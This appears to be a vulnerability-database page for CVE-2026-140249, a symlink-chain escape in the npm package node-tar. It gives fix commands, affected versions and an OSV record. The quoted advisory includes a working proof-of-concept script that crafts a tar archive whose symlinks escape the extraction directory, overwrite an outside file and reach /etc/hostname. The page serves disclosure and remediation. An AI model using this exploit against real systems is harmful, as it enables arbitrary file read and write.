CVE-2026-140249: node-tar Symlink Target Escapes The Extraction Vulnerability
HIGHCVE-2026-140249 is a HIGH symlink target escapes the extraction vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting node-tar libraries in the npm ecosystem. The issue involves symlink target escapes the extraction directory through an in-archive symlink chain. Remediation is available by upgrading affected packages to version 8.0.0.
CVE-2026-140249 at a Glance
How to Fix CVE-2026-140249
To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install tar@8.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls tar
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140249, inspect your project dependencies using npm:
npm ls tar
Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.
Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140249 Affected node-tar Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tar
|
npm |
≥ 7.5.5
< 8.0.0
|
8.0.0
|
References
Frequently Asked Questions
What is CVE-2026-140249?
Which node-tar versions are affected?
What version fixes CVE-2026-140249?
Is tar affected?
What CWE is associated with CVE-2026-140249?
How can I check npm dependencies for CVE-2026-140249?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4pf9-5fpx-xmr6",
"modified" : "2026-12-02T00:57:45Z",
"published" : "2026-12-02T00:57:44Z",
"aliases" : [ "CVE-2026-140249" ],
"summary" : "node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain",
"details" : "### Summary\n\nSummary\nWith default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that \"Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder.\"\n\nThis is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.\n\n### Details\n\nx/ Directory\nx/y -> .. (resolves to cwd: allowed)\nl -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt)\n\n\n - [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd.\n - [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink.\n - [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt.\n\nRepeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.\n\nThis is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 (\"Allow unpacking symlinks that don't escape cwd\") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.\n\n\nSuggested fix\n\nCreate the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):\n\n--- a/src/unpack.ts\n+++ b/src/unpack.ts\n@@ -651,7 +651,23 @@ export class Unpack extends Parser {\n entry,\n this.cwd,\n parts,\n- () => this[LINK](entry, String(entry.linkpath), 'symlink', done),\n+ // Create the symlink with the same lexically-normalized target that\n+ // [STRIPABSOLUTEPATH] validated. Writing the raw linkpath would let a\n+ // `..` segment follow a component that is (or later becomes) a symlink\n+ // in the extraction dir, e.g. `x/y -> ..` plus `l -> x/y/../secret`,\n+ // which normalizes to the in-bounds `x/secret` but really resolves\n+ // outside cwd.\n+ () =>\n+ this[LINK](\n+ entry,\n+ this.preservePaths ?\n+ String(entry.linkpath)\n+ : path.posix.normalize(\n+ normalizeWindowsPath(String(entry.linkpath)),\n+ ),\n+ 'symlink',\n+ done,\n+ ),\n er => {\n this[ONERROR](er, entry)\n done()\n\n\nIt was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.\n\n\n\n\n\n### Proof of concept\n\nSave as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.\n\nconst fs = require('fs')\nconst path = require('path')\nconst tar = require(path.resolve(process.argv[2]))\nconst work = path.resolve(process.argv[3])\nfs.rmSync(work, { recursive: true, force: true })\nconst cwd = path.join(work, 'extract')\nfs.mkdirSync(cwd, { recursive: true })\nconst secret = path.join(work, 'secret.txt') // outside the extraction dir\nfs.writeFileSync(secret, 'ORIGINAL\\n')\n\nconst entries = [\n { path: 'x/', type: 'Directory' },\n { path: 'x/y', type: 'SymbolicLink', linkpath: '..' },\n { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },\n { path: 'deep', type: 'SymbolicLink',\n linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },\n]\nconst blocks = []\nfor (const e of entries) {\n const b = Buffer.alloc(512)\n new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)\n blocks.push(b)\n}\nblocks.push(Buffer.alloc(1024))\nconst tarFile = path.join(work, 'poc.tar')\nfs.writeFileSync(tarFile, Buffer.concat(blocks))\n\nconst run = async (sync) => {\n fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)\n fs.writeFileSync(secret, 'ORIGINAL\\n')\n const warns = []\n const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }\n if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)\n console.log(`--- tar.x({cwd, file${sync ? ', sync:true' : ''}})`)\n console.log('warnings:', warns.length ? warns : 'none')\n console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l')))\n console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l')))\n console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep')))\n fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))\n}\nrun(false).then(() => run(true))\n\n\nOutput on tar 7.5.23, Node 22.23.4, Linux:\n\n--- tar.x({cwd, file})\nwarnings: none\nreadlink l -> x/y/../secret.txt\nrealpath l -> <workdir>/secret.txt\nrealpath deep -> /etc/hostname\nsecret.txt now -> \"PWNED\\n\"\n--- tar.x({cwd, file, sync:true})\nwarnings: none\nreadlink l -> x/y/../secret.txt\nrealpath l -> <workdir>/secret.txt\nrealpath deep -> /etc/hostname\nsecret.txt now -> \"PWNED\\n\"\n\nSame result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').\n\n\n\n\n\n### Impact\n\nAn attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.\n\nApplications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "tar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "7.5.5"
}, {
"fixed" : "8.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-4pf9-5fpx-xmr6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140249"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/isaacs/node-tar"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-59" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-02T00:57:44Z",
"nvd_published_at" : "2026-12-01T18:17:29Z"
}
}